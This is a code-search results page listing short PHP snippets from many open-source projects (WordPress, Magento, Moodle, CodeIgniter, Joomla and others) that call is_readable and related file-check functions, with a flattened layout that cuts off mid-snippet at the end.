100+ results results for 'php is_readable repo:netconstructor/roundcubemail' (838 ms)
1<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); 2/** 4 * 5 * An open source application development framework for PHP 5.1.6 or newer 6 * 240 241 // foreach (scandir($source_dir, 1) as $file) // In addition to being PHP5+, scandir() is simply not as fast 242 while (FALSE !== ($file = readdir($fp))) 310 case 'readable': 311 $fileinfo['readable'] = is_readable($file); 312 break; 334 * 335 * Translates a file extension into a mime type based on config/mimes.php. 336 * Returns FALSE if it can't determine the type, or open the mime config file 354 { 355 if (defined('ENVIRONMENT') AND is_file(APPPATH.'config/'.ENVIRONMENT.'/mimes.php')) 356 {browser.php https://gitlab.com/AhmedMedo/Seo | PHP | 922 lines
1<?php 2 45 46 !is_readable($thumbsDir) || 47 !dir::isWritable($thumbsDir) || 104 $dir = $this->config['uploadDir'] . "/" . $this->session['dir']; 105 if (($type != $this->type) || !is_dir($dir) || !is_readable($dir)) 106 $this->session['dir'] = $this->type; 130 $dir = "{$this->typeDir}/{$_GET['dir']}"; 131 if ($this->checkFilePath($dir) && is_dir($dir) && is_readable($dir)) 132 $this->session['dir'] = path::normalize("{$this->type}/{$_GET['dir']}"); 162 // Create thumbnail 163 if (!is_file($file) || !is_readable($file)) { 164 $file = "$dir/{$_GET['file']}"; 164 $file = "$dir/{$_GET['file']}"; 165 if (!is_file($file) || !is_readable($file)) 166 $this->sendDefaultThumb($file);getid3.php https://gitlab.com/Gashler/dp | PHP | 1405 lines
89 public $option_sha1_data = false; // Get SHA1 sum of data part - slow 90 public $option_max_2gb_check = null; // Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on PHP_INT_MAX) 91 117 if (version_compare(PHP_VERSION, $required_php_version, '<')) { 118 $this->startup_error .= 'getID3() requires PHP v'.$required_php_version.' or higher - you are running v'.PHP_VERSION; 119 return false; 290 fclose($this->fp); 291 throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by PHP.'); 292 } elseif (getid3_lib::intValueSupported($real_filesize)) { 294 fclose($this->fp); 295 throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize, 3).'GB, please report to info@getid3.org'); 296 } 297 $this->info['filesize'] = $real_filesize; 298 $this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize, 3).'GB) and is not properly supported by PHP.'); 299 }l10n.php https://gitlab.com/Gashler/dp | PHP | 553 lines
1<?php 2/** 338 339 if ( !is_readable( $mofile ) ) return false; 340class-wp-theme.php https://gitlab.com/Gashler/dp | PHP | 1200 lines
1<?php 2/** 216 return; 217 } elseif ( ! is_readable( $this->theme_root . '/' . $theme_file ) ) { 218 $this->headers['Name'] = $this->stylesheet; 235 $this->template = $this->stylesheet; 236 if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet . '/index.php' ) ) { 237 $this->errors = new WP_Error( 'theme_no_index', __( 'Template is missing.' ) ); 243 // If we got our data from cache, we can assume that 'template' is pointing to the right place. 244 if ( ! is_array( $cache ) && $this->template != $this->stylesheet && ! file_exists( $this->theme_root . '/' . $this->template . '/index.php' ) ) { 245 // If we're in a directory of themes inside /themes, look for the parent nearby. 247 $parent_dir = dirname( $this->stylesheet ); 248 if ( '.' != $parent_dir && file_exists( $this->theme_root . '/' . $parent_dir . '/' . $this->template . '/index.php' ) ) { 249 $this->template = $parent_dir . '/' . $this->template; 406 case 'Template Files' : 407 return $this->get_files( 'php', 1, true ); 408 case 'Stylesheet Files' :theme.php https://gitlab.com/endomorphosis/reservationtelco | PHP | 1730 lines
1<?php 2/** 252 * The theme is broken, if it doesn't have a parent theme and is missing either 253 * style.css and, or index.php. If the theme has a parent theme then it is 254 * broken, if it is missing style.css; index.php is optional. The broken theme 283 284 if ( !is_readable("$theme_root/$theme_file") ) { 285 $wp_broken_themes[$theme_file] = array('Name' => $theme_file, 'Title' => $theme_file, 'Description' => __('File not readable.')); 314 if ( empty($template) ) { 315 if ( file_exists("$theme_root/$stylesheet/index.php") ) 316 $template = $stylesheet; 322 323 if ( !file_exists("$theme_root/$template/index.php") ) { 324 $parent_dir = dirname(dirname($theme_file)); 324 $parent_dir = dirname(dirname($theme_file)); 325 if ( file_exists("$theme_root/$parent_dir/$template/index.php") ) { 326 $template = "$parent_dir/$template";functions.php https://gitlab.com/endomorphosis/reservationtelco | PHP | 492 lines
14 * (those wrapped in a function_exists() call) by defining them first in your child theme's 15 * functions.php file. The child theme's functions.php file is included before the parent 16 * theme's file, so the child theme functions would be used. 318 <?php if ( '' == $comment->comment_type ) : ?> 319 <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> 320 <div id="comment-<?php comment_ID(); ?>"> 322 <?php echo get_avatar( $comment, 40 ); ?> 323 <?php printf( __( '%s <span class="says">says:</span>', 'twentyten' ), sprintf( '<cite class="fn">%s</cite>', get_comment_author_link() ) ); ?> 324 </div><!-- .comment-author .vcard --> 325 <?php if ( $comment->comment_approved == '0' ) : ?> 326 <em><?php _e( 'Your comment is awaiting moderation.', 'twentyten' ); ?></em> 327 <br /> 345 <li class="post pingback"> 346 <p><?php _e( 'Pingback:', 'twentyten' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __('(Edit)', 'twentyten'), ' ' ); ?></p> 347 <?php endif;theme.functions.php https://gitlab.com/endomorphosis/reservationtelco | PHP | 843 lines
117 * © with xiligroup dev 118 * @todo - 1bigidea - shouldn't this load theme/functions.php rather than theme/theme.php???? (handy feature though) 119 */ 125 if((get_option('wpsc_selected_theme') != '') && (file_exists($cur_wpsc_theme_folder."/".$theme_dir.".php") )) { 126 include_once($cur_wpsc_theme_folder.'/'.$theme_dir.'.php'); 127 } 295 margin-left: <?php echo $thumbnail_width + 10; ?>px !important; 296 <?php /*_margin-left: <?php echo ($thumbnail_width/2) + 5; ?>px !important; */ ?> 297 min-height: <?php echo $thumbnail_height;?>px; 299 } 300 <?php endif; ?> 301 div.default_product_display div.textcol div.imagecol{ 362 width: <?php echo $single_thumbnail_width; ?>px; 363 height: <?php echo $single_thumbnail_height; ?>px; 364 }plugin.php https://gitlab.com/endomorphosis/reservationtelco | PHP | 1362 lines
251 foreach ( $plugin_files as $plugin_file ) { 252 if ( !is_readable( "$plugin_root/$plugin_file" ) ) 253 continue; 300 foreach ( $plugin_files as $plugin_file ) { 301 if ( !is_readable( WPMU_PLUGIN_DIR . "/$plugin_file" ) ) 302 continue; 311 312 if ( isset( $wp_plugins['index.php'] ) && filesize( WPMU_PLUGIN_DIR . '/index.php') <= 30 ) // silence is golden 313 unset( $wp_plugins['index.php'] ); 347 foreach ( $plugin_files as $plugin_file ) { 348 if ( !is_readable( WP_CONTENT_DIR . "/$plugin_file" ) ) 349 continue; 373 'advanced-cache.php' => array( __( 'Advanced caching plugin.' ), 'WP_CACHE' ), // WP_CACHE 374 'db.php' => array( __( 'Custom database class.' ), true ), // auto on load 375 'db-error.php' => array( __( 'Custom database error message.' ), true ), // auto on errorfile.function.php https://gitlab.com/imxieke/XCloud | PHP | 818 lines
1<?php 2/* 9/** 10 * 系统函数: filesize(),file_exists(),pathinfo(),rname(),unlink(),filemtime(),is_readable(),is_wrieteable(); 11 * 获取文件详细信息 file_info($file_name) 71 'mtime' => filemtime($path), //最后修改时间 72 'is_readable' => intval(is_readable($path)), 73 'is_writeable' => intval(is_writeable($path)), 90 'mtime' => filemtime($path), //最后修改时间 91 'is_readable' => intval(is_readable($path)), 92 'is_writeable' => intval(is_writeable($path))functions.php https://gitlab.com/endomorphosis/falkenstein | PHP | 508 lines
14 * (those wrapped in a function_exists() call) by defining them first in your child theme's 15 * functions.php file. The child theme's functions.php file is included before the parent 16 * theme's file, so the child theme functions would be used. 325 ?> 326 <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> 327 <div id="comment-<?php comment_ID(); ?>"> 329 <?php echo get_avatar( $comment, 40 ); ?> 330 <?php printf( __( '%s <span class="says">says:</span>', 'twentyten' ), sprintf( '<cite class="fn">%s</cite>', get_comment_author_link() ) ); ?> 331 </div><!-- .comment-author .vcard --> 332 <?php if ( $comment->comment_approved == '0' ) : ?> 333 <em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentyten' ); ?></em> 334 <br /> 356 <li class="post pingback"> 357 <p><?php _e( 'Pingback:', 'twentyten' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' ); ?></p> 358 <?phpbackup.php https://gitlab.com/endomorphosis/falkenstein | PHP | 1119 lines
1<?php 2 3if (!defined('UPDRAFTPLUS_DIR')) die('No direct access allowed'); 4if (!class_exists('UpdraftPlus_PclZip')) require(UPDRAFTPLUS_DIR.'/class-zip.php'); 5 50 51 if (@file_exists('/proc/user_beancounters') && @file_exists('/proc/meminfo') && @is_readable('/proc/meminfo')) { 52 $meminfo = @file_get_contents('/proc/meminfo', false, null, -1, 200); 101 if ('mu-plugins' == $whichone) { 102 if (!function_exists('get_mu_plugins')) require_once(ABSPATH.'wp-admin/includes/plugin.php'); 103 $mu_plugins = get_mu_plugins(); 258 259 $method_include = UPDRAFTPLUS_DIR.'/methods/'.$service.'.php'; 260 if (file_exists($method_include)) require_once($method_include);dialog.php https://gitlab.com/elasa/shop2.elasa.ir | PHP | 1003 lines
1<?php 2include('config/config.php'); 6if (isset($_POST['submit'])) 7 include('upload.php'); 8else 10 11 include('include/utils.php'); 12 77 if ($parent == './') $parent = ''; 78 if (file_exists($current_path.$parent.'config.php')) 79 { 79 { 80 require_once($current_path.$parent.'config.php'); 81 $cycle = false; 129 $path_parts = pathinfo($lang); 130 if (is_readable('lang/'.$path_parts['basename'].'.php')) 131 $language_file = 'lang/'.$path_parts['basename'].'.php';class-wp-filesystem-ftpsockets.php https://gitlab.com/Gashler/dp | PHP | 333 lines
1<?php 2/** 26 //Check if possible to use ftp functions. 27 if ( ! @include_once ABSPATH . 'wp-admin/includes/class-ftp.php' ) 28 return false; 242 243 function is_readable($file) { 244 //Get dir list, Check if the file is writable by the current user??class-wp-filesystem-ftpext.php https://gitlab.com/endomorphosis/reservationtelco | PHP | 387 lines
1<?php 2/** 27 if ( ! extension_loaded('ftp') ) { 28 $this->errors->add('no_ftp_ext', __('The ftp PHP extension is not available')); 29 return false; 228 } 229 function is_readable($file) { 230 //Get dir list, Check if the file is readable by the current user??file.php https://gitlab.com/endomorphosis/greenrenaissancejoomla | PHP | 380 lines
1<?php 2/** 2/** 3 * @version $Id: file.php 9764 2007-12-30 07:48:11Z ircmaxell $ 4 * @package Joomla.Framework 6 * @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved. 7 * @license GNU/GPL, see LICENSE.php 8 * Joomla! is free software. This version may have been modified pursuant 11 * other free or open source software licenses. 12 * See COPYRIGHT.php for copyright notices and details. 13 */ 87 //Check src path 88 if (!is_readable($src)) { 89 JError::raiseWarning(21, 'JFile::copy: '.JText::_('Cannot find or read file' . ": '$src'")); 196 //Check src path 197 if (!is_readable($src) && !is_writable($src)) { 198 return JText::_('Cannot find source file');Ftp.php https://gitlab.com/blingbang2016/shop | PHP | 509 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 246 } 247 if(!is_readable($local)) { 248 throw new Exception("Local file is not readable: {$localFile}"); 444 /** 445 * Get directory contents in PHP array 446 *class-wc-api-webhooks.php https://gitlab.com/Suhailgit/Project | PHP | 462 lines
1<?php 2/** 84 85 if ( ! $this->is_readable( $webhook_id ) ) { 86 continue;class-wc-api-orders.php https://gitlab.com/Suhailgit/Project | PHP | 1546 lines
1<?php 2/** 119 120 if ( ! $this->is_readable( $order_id ) ) { 121 continue;class-wc-api-products.php https://gitlab.com/Suhailgit/Project | PHP | 542 lines
1<?php 2/** 82 83 if ( ! $this->is_readable( $product_id ) ) 84 continue;class-wc-api-customers.php https://gitlab.com/Zeeshangit/Project | PHP | 844 lines
1<?php 2/** 119 120 if ( ! $this->is_readable( $user_id ) ) { 121 continue;class-wc-api-products.php https://gitlab.com/Haithamgit/Project | PHP | 1440 lines
1<?php 2/** 123 124 if ( ! $this->is_readable( $product_id ) ) { 125 continue;class-wc-api-coupons.php https://gitlab.com/Haithamgit/Project | PHP | 581 lines
1<?php 2/** 84 85 if ( ! $this->is_readable( $coupon_id ) ) { 86 continue;lib.php https://gitlab.com/JrLucena/moodle | PHP | 539 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 17/** 18 * Support library for the cache PHPUnit tests. 19 * 30 31require_once($CFG->dirroot.'/cache/locallib.php'); 32 35 * 36 * This class was originally named cache_config_phpunittest but was renamed in 2.9 37 * because it is used for both unit tests and acceptance tests. 67 $expectedstore = $appdefine; 68 $file = $CFG->dirroot.'/cache/stores/'.$appdefine.'/lib.php'; 69 $class = 'cachestore_'.$appdefine; 137 // We always use this path. 138 $configpath = $CFG->dataroot.'/muc/config.php'; 139auth.php https://gitlab.com/JrLucena/moodle | PHP | 459 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 30 31require_once($CFG->libdir.'/authlib.php'); 32 46 /** 47 * Old syntax of class constructor. Deprecated in PHP7. 48 * 135 && $this->config->convert_data != '' 136 && is_readable($this->config->convert_data) 137 ) { 232 * 233 * This function is called from admin/auth.php, and outputs a full page with 234 * a form for configuring this plugin. 252 if (!isset($config->auth_instructions) or empty($config->user_attribute)) { 253 $config->auth_instructions = get_string('auth_shib_instructions', 'auth_shibboleth', $CFG->wwwroot.'/auth/shibboleth/index.php'); 254 }Filesystem.php https://gitlab.com/thugside/clicktocall-laravel | PHP | 485 lines
1<?php 2 45 46 if (!$override && is_file($targetFile) && null === parse_url($originFile, PHP_URL_HOST)) { 47 $doCopy = filemtime($originFile) > filemtime($targetFile); 52 if ($doCopy) { 53 // https://bugs.php.net/bug.php?id=64634 54 $source = fopen($originFile, 'r'); 155 } else { 156 // https://bugs.php.net/bug.php?id=52176 157 if (defined('PHP_WINDOWS_VERSION_MAJOR') && is_dir($file)) { 258 // we check that target does not exist 259 if (!$overwrite && is_readable($target)) { 260 throw new IOException(sprintf('Cannot rename because the target "%s" already exists.', $target), 0, null, $target); 299 if (is_array($report)) { 300 if (defined('PHP_WINDOWS_VERSION_MAJOR') && false !== strpos($report['message'], 'error code(1314)')) { 301 throw new IOException('Unable to create symlink due to error code 1314: \'A required privilege is not held by the client\'. Do you have the required Administrator-rights?');Install.php https://gitlab.com/blingbang2016/shop | PHP | 448 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 72 } 73 if(!@is_readable($filename)) { 74 throw new Exception("File '{$filename}' is not readable"); 103 104 $conflicts = $package->checkPhpDependencies(); 105 if(true !== $conflicts) { 106 $confilcts = implode(",",$conflicts); 107 $err = "Package {$pChan}/{$pName} {$pVer} depends on PHP extensions: ".$conflicts; 108 if($forceMode) {Singleconfig.php https://gitlab.com/blingbang2016/shop | PHP | 865 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 143 144 if(!is_readable($file)) { 145 return $this->doError("File is not readable: '{$file}'");Package.php https://gitlab.com/blingbang2016/shop | PHP | 1490 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 291xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 292xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0 http://pear.php.net/dtd/tasks-1.0.xsd http://pear.php.net/dtd/package-2.0 http://pear.php.net/dtd/package-2.0.xsd" /> 293END; 333 $requiredDependenciesNode = $packageXmlV1x->addChild('dependencies')->addChild('required'); 334 $requiredDependenciesPhpNode = $requiredDependenciesNode->addChild('php'); 335 $requiredDependenciesPhpNode->addChild('min', (string)$newPackageXml->dependencies->required->php->min); 335 $requiredDependenciesPhpNode->addChild('min', (string)$newPackageXml->dependencies->required->php->min); 336 $requiredDependenciesPhpNode->addChild('max', (string)$newPackageXml->dependencies->required->php->max); 337 $requiredDependenciesNode->addChild('pearinstaller')->addChild('min','1.6.2');Install.php https://gitlab.com/blingbang2016/shop | PHP | 568 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 119 } 120 if (!@is_readable($filename)) { 121 throw new Exception("File '{$filename}' is not readable"); 151 152 $conflicts = $package->checkPhpDependencies(); 153 if (true !== $conflicts) { 154 $conflicts = implode(",",$conflicts); 155 $err = "Package {$pChan}/{$pName} {$pVer} depends on PHP extensions: " . $conflicts; 156 if ($forceMode) {Package.php https://gitlab.com/blingbang2016/shop | PHP | 1499 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 78 */ 79 protected $_dependencyPhpExtensions; 80 143 $this->_init($source); 144 } elseif (is_file($source) && is_readable($source)) { 145 // package archive filename 569 * Check PHP version restriction 570 * @param $phpVersion PHP_VERSION by default 571 * @return true | stringCms.php https://gitlab.com/blingbang2016/shop | PHP | 390 lines
1<?php 2/** 12?> 13<?php 14 37 $xmlPath = $this->_importPath . $theme .DIRECTORY_SEPARATOR. $typeImport . '.xml'; 38 if (!is_readable($xmlPath)) throw new Exception(Mage::helper('adminhtml')->__("Can't read data file: %s", $xmlPath)); 39 $xmlObj = new Varien_Simplexml_Config($xmlPath); 99 $xmlPath = $this->_importPath . $theme .DIRECTORY_SEPARATOR. $typeImport . '.xml'; 100 if (!is_readable($xmlPath)) throw new Exception(Mage::helper('adminhtml')->__("Can't read data file: %s", $xmlPath)); 101 $xmlObj = new Varien_Simplexml_Config($xmlPath); 147 $xmlPath = $this->_importPath . $theme .DIRECTORY_SEPARATOR. $typeImport . '.xml'; 148 if (!is_readable($xmlPath)) throw new Exception(Mage::helper('adminhtml')->__("Can't read data file: %s", $xmlPath)); 149 $xmlObj = new Varien_Simplexml_Config($xmlPath); 176 $xmlPath = $this->_importPath . $theme .DIRECTORY_SEPARATOR. $typeImport . '.xml'; 177 if (!is_readable($xmlPath)) throw new Exception(Mage::helper('adminhtml')->__("Can't read data file: %s", $xmlPath)); 178 $xmlObj = new Varien_Simplexml_Config($xmlPath);Image.php https://gitlab.com/blingbang2016/shop | PHP | 810 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 161 if (file_exists($oldFileName)) { 162 if (!(copy($oldFileName, $originalSizeFileName) && (is_readable($customSizeFileName) 163 || chmod($customSizeFileName, 0644)) 175 clearstatcache(); 176 if ($isCopied && (is_readable($customSizeFileName) || chmod($customSizeFileName, 0644))) { 177 $this->_handleResize($fieldPath, $customSizeFileName);password.php https://gitlab.com/boxnia/NFU_MOVIL | PHP | 279 lines
1<?php 2/** 2/** 3 * A Compatibility library with PHP 5.5's simplified password hashing API. 4 * 4 * 5 * @author Anthony Ferrara <ircmaxell@php.net> 6 * @license http://www.opensource.org/licenses/mit-license.html MIT License 41 case PASSWORD_BCRYPT: 42 // Note that this is a C constant, but not exposed to PHP, so we don't define it here. 43 $cost = 10; 104 } 105 if (!$buffer_valid && @is_readable('/dev/urandom')) { 106 $f = fopen('/dev/urandom', 'r');infinite-scroll.php https://gitlab.com/ibnukipa/cakra | PHP | 257 lines
1<?php 2/** 74 public function module_configuration_load() { 75 wp_safe_redirect( admin_url( 'options-reading.php#infinite-scroll-options' ) ); 76 exit; 126 127 /** This filter is already documented in modules/infinite-scroll/infinity.php */ 128 $customization_file = apply_filters( 'infinite_scroll_customization_file', dirname( __FILE__ ) . "/infinite-scroll/themes/{$theme['Stylesheet']}.php", $theme['Stylesheet'] ); 129 130 if ( is_readable( $customization_file ) ) { 131 require_once( $customization_file ); 133 elseif ( ! empty( $theme['Template'] ) ) { 134 $customization_file = dirname( __FILE__ ) . "/infinite-scroll/themes/{$theme['Template']}.php"; 135 135 136 if ( is_readable( $customization_file ) ) 137 require_once( $customization_file );Ftp.php https://gitlab.com/blingbang2016/shop | PHP | 533 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 248 } 249 if(!is_readable($local)) { 250 throw new Exception("Local file is not readable: {$local}"); 455 /** 456 * Get directory contents in PHP array 457 *inihelper.php https://gitlab.com/endomorphosis/OLAAaction | PHP | 380 lines
1<?php 2/** 3 * Akeeba Engine 4 * The modular PHP5 site backup engine 5 * @copyright Copyright (c)2009-2011 Nicholas K. Dionysopoulos 7 * @package akeebaengine 8 * @version $Id: inihelper.php 409 2011-01-24 09:30:22Z nikosdion $ 9 */ 52 { 53 if(is_readable($path)) 54 { 109 { 110 if(is_readable($path)) 111 { 161 { 162 if(is_readable($path)) 163 {Openssl.php https://gitlab.com/daigiangaitu91/magento | PHP | 469 lines
1<?php 2/** 116 foreach ($keys as $type => $key) { 117 if (is_file($key) and is_readable($key)) { 118 $file = fopen($key, 'r');file_helper.php https://gitlab.com/ashish21590/rigalio.com | PHP | 479 lines
1<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); 2/** 4 * 5 * An open source application development framework for PHP 5.1.6 or newer 6 * 240 241 // foreach (scandir($source_dir, 1) as $file) // In addition to being PHP5+, scandir() is simply not as fast 242 while (FALSE !== ($file = readdir($fp))) 310 case 'readable': 311 $fileinfo['readable'] = is_readable($file); 312 break; 334 * 335 * Translates a file extension into a mime type based on config/mimes.php. 336 * Returns FALSE if it can't determine the type, or open the mime config file 477 478/* End of file file_helper.php */ 479/* Location: ./system/helpers/file_helper.php */file.php https://gitlab.com/endomorphosis/falkenstein | PHP | 342 lines
1<?php 2/** 210 'upload_failed_php_error' => array( 211 'description' => __( "Uploading a file fails for PHP error", 'contact-form-7' ), 212 'default' => __( 'Failed to upload file. Error occurred.', 'contact-form-7' ) 234<table> 235<tr><td><input type="checkbox" name="required" /> <?php echo esc_html( __( 'Required field?', 'contact-form-7' ) ); ?></td></tr> 236<tr><td><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?><br /><input type="text" name="name" class="tg-name oneline" /></td><td></td></tr> 240<tr> 241<td><code>id</code> (<?php echo esc_html( __( 'optional', 'contact-form-7' ) ); ?>)<br /> 242<input type="text" name="id" class="idvalue oneline option" /></td> 248<tr> 249<td><?php echo esc_html( __( "File size limit", 'contact-form-7' ) ); ?> (<?php echo esc_html( __( 'bytes', 'contact-form-7' ) ); ?>) (<?php echo esc_html( __( 'optional', 'contact-form-7' ) ); ?>)<br /> 250<input type="text" name="limit" class="filesize oneline option" /></td> 251 252<td><?php echo esc_html( __( "Acceptable file types", 'contact-form-7' ) ); ?> (<?php echo esc_html( __( 'optional', 'contact-form-7' ) ); ?>)<br /> 253<input type="text" name="filetypes" class="filetype oneline option" /></td>externallib.php https://gitlab.com/JrLucena/moodle | PHP | 326 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 28 29require_once("$CFG->libdir/externallib.php"); 30 140 } else { 141 $versionpath = core_component::get_component_directory($function->component).'/version.php'; 142 if (is_readable($versionpath)) { 142 if (is_readable($versionpath)) { 143 // We store the component version once retrieved (so we don't load twice the version.php). 144 if (!isset($componentversions[$function->component])) { 152 } else { 153 // Function component should always have a version.php, 154 // otherwise the function should have been described with component => 'moodle'. 220 Warning: this url is the public URL that only works when forcelogin is set to NO and guestaccess is set to YES. 221 In order to retrieve user profile pictures independently of the Moodle config, replace "pluginfile.php" by 222 "webservice/pluginfile.php?token=WSTOKEN&file="File.php https://gitlab.com/daigiangaitu91/magento | PHP | 934 lines
1<?php 2/** 15 * @package Magento\Framework\Filesystem\Driver 16 * @SuppressWarnings(PHPMD.ExcessiveClassComplexity) 17 */ 86 clearstatcache(); 87 $result = @is_readable($this->getScheme() . $path); 88 if ($result === null) {functions.php https://gitlab.com/hop23typhu/list-theme | PHP | 1227 lines
1<?php 2 21 /* Add custom post types */ 22 require_once(SF_INCLUDES_PATH . '/custom-post-types/portfolio-type.php'); 23 require_once(SF_INCLUDES_PATH . '/custom-post-types/team-type.php'); 23 require_once(SF_INCLUDES_PATH . '/custom-post-types/team-type.php'); 24 require_once(SF_INCLUDES_PATH . '/custom-post-types/clients-type.php'); 25 require_once(SF_INCLUDES_PATH . '/custom-post-types/testimonials-type.php'); 25 require_once(SF_INCLUDES_PATH . '/custom-post-types/testimonials-type.php'); 26 require_once(SF_INCLUDES_PATH . '/custom-post-types/jobs-type.php'); 27 require_once(SF_INCLUDES_PATH . '/custom-post-types/faqs-type.php'); 29 /* Add image resizer */ 30 require_once(SF_INCLUDES_PATH . '/plugins/aq_resizer.php'); 31 32 /* Add taxonomy meta boxes */ 33 require_once(SF_INCLUDES_PATH . '/taxonomy-meta-class/Tax-meta-class.php'); 34woocommerce.php https://gitlab.com/hop23typhu/list-theme | PHP | 1438 lines
1<?php 2/** 169 $plugin_links = array( 170 '<a href="' . admin_url( 'admin.php?page=woocommerce_settings' ) . '">' . __( 'Settings', 'woocommerce' ) . '</a>', 171 '<a href="http://docs.woothemes.com/documentation/plugins/woocommerce/">' . __( 'Docs', 'woocommerce' ) . '</a>', 211 $path = $this->plugin_path() . '/classes/gateways/' . trailingslashit( substr( str_replace( '_', '-', $class ), 11 ) ); 212 $file = 'class-' . str_replace( '_', '-', $class ) . '.php'; 213 213 214 if ( is_readable( $path . $file ) ) { 215 include_once( $path . $file ); 221 $path = $this->plugin_path() . '/classes/shipping/' . trailingslashit( substr( str_replace( '_', '-', $class ), 12 ) ); 222 $file = 'class-' . str_replace( '_', '-', $class ) . '.php'; 223 223 224 if ( is_readable( $path . $file ) ) { 225 include_once( $path . $file );getid3.php https://gitlab.com/hop23typhu/list-theme | PHP | 1410 lines
20} 21// Workaround Bug #39923 (https://bugs.php.net/bug.php?id=39923) 22if (!defined('IMG_JPG') && defined('IMAGETYPE_JPEG')) { 95 public $option_sha1_data = false; // Get SHA1 sum of data part - slow 96 public $option_max_2gb_check = null; // Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on PHP_INT_MAX) 97 262 // open local file 263 //if (is_readable($filename) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // see http://www.getid3.org/phpBB3/viewtopic.php?t=1720 264 if ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { 309 fclose($this->fp); 310 throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize, 3).'GB, please report to info@getid3.org'); 311 } 312 $this->info['filesize'] = $real_filesize; 313 $this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize, 3).'GB) and is not properly supported by PHP.'); 314 }class-wp-theme.php https://gitlab.com/hop23typhu/list-theme | PHP | 1237 lines
1<?php 2/** 182 if ( ! isset( self::$persistently_cache ) ) { 183 /** This action is documented in wp-includes/theme.php */ 184 self::$persistently_cache = apply_filters( 'wp_cache_themes_persistently', false, 'WP_Theme' ); 227 return; 228 } elseif ( ! is_readable( $this->theme_root . '/' . $theme_file ) ) { 229 $this->headers['Name'] = $this->stylesheet; 246 $this->template = $this->stylesheet; 247 if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet . '/index.php' ) ) { 248 $this->errors = new WP_Error( 'theme_no_index', __( 'Template is missing.' ) ); 254 // If we got our data from cache, we can assume that 'template' is pointing to the right place. 255 if ( ! is_array( $cache ) && $this->template != $this->stylesheet && ! file_exists( $this->theme_root . '/' . $this->template . '/index.php' ) ) { 256 // If we're in a directory of themes inside /themes, look for the parent nearby. 258 $parent_dir = dirname( $this->stylesheet ); 259 if ( '.' != $parent_dir && file_exists( $this->theme_root . '/' . $parent_dir . '/' . $this->template . '/index.php' ) ) { 260 $this->template = $parent_dir . '/' . 